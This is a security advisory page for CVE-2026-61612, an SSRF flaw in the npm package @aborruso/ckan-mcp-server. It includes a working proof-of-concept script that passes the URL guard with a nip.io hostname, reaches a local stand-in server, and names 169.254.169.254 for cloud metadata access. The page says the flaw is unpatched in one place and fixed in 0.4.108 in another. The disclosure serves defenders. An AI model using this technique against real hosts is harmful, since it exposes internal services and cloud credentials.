# CVE-2026-61612: @aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509

> CVE-2026-61612 (GitHub advisory GHSA-798p-78g2-v556) is a medium-severity vulnerability with a CVSS 3.1 base score of 5.7, classed as Server-Side Request Forgery (SSRF) (CWE-918), in @aborruso/ckan-mcp-server (npm). Affected versions: <= 0.4.107. It is fixed in 0.4.108.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-61612

| Field | Value |
| --- | --- |
| CVE | CVE-2026-61612 |
| GHSA | GHSA-798p-78g2-v556 |
| Severity | Medium |
| CVSS 3.1 | 5.7 `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N` (GitHub Advisory Database) |
| CWE | CWE-918 Server-Side Request Forgery (SSRF) |
| EPSS | 0.22% (higher than 12% of CVEs) |
| CISA KEV | Not listed |
| SSVC | exploitation none, automatable no, technical impact partial |
| Published | 21 Sept 2026 |
| Modified | 22 Sept 2026 |

## Description

The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.

#### Affected / patched
- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.

#### Severity
It is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).

#### Root cause — `src/utils/http.ts`, `validateServerUrl`
The guard blocks IP **literals** and three loopback alias strings, but does no name resolution:
```ts
const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed
```
Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`.

> Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.

#### Proof of concept
Drives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.
```sh
npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk
node poc.mjs
```
```js
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;

const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
  command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));

// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });

const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();
```
Output:
```
SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}
```
A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.

#### Impact
Caller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.

#### Suggested fix
Resolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| @aborruso/ckan-mcp-server | npm | `pkg:npm/%40aborruso/ckan-mcp-server` | <= 0.4.107 | 0.4.108 |

## Fix commits

- Patch: https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40

## Questions

**What is the GHSA ID for CVE-2026-61612?**

GitHub tracks CVE-2026-61612 as GHSA-798p-78g2-v556.

**What is the CVSS score of CVE-2026-61612?**

CVE-2026-61612 has a CVSS 3.1 base score of 5.7 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N.

**Which versions are affected by CVE-2026-61612?**

@aborruso/ckan-mcp-server (npm): <= 0.4.107.

**How do I fix CVE-2026-61612?**

Upgrade to 0.4.108 or later. The fix is in commit bb7439b.

**What is the Package URL (PURL) for CVE-2026-61612?**

The affected package's PURL is pkg:npm/%40aborruso/ckan-mcp-server.

**Is CVE-2026-61612 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61612. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "none". EPSS estimates a 0.22% chance of exploitation in the next 30 days, higher than 12% of CVEs.

## References

- https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40 (fix)
- https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556 (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-61612 (advisory)
- https://github.com/advisories/GHSA-3xm7-qw7j-qc8v (advisory)
- https://github.com/advisories/GHSA-g84h-j7jj-x32p (advisory)
- https://github.com/advisories/GHSA-798p-78g2-v556 (advisory)
- https://github.com/ondata/ckan-mcp-server (package)
- https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.108

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-61612), compiled from OSV (GitHub advisory), GitHub Advisory Database, CVE.org, CISA KEV catalog, FIRST EPSS. OSV and GitHub Advisory Database content is licensed CC BY 4.0.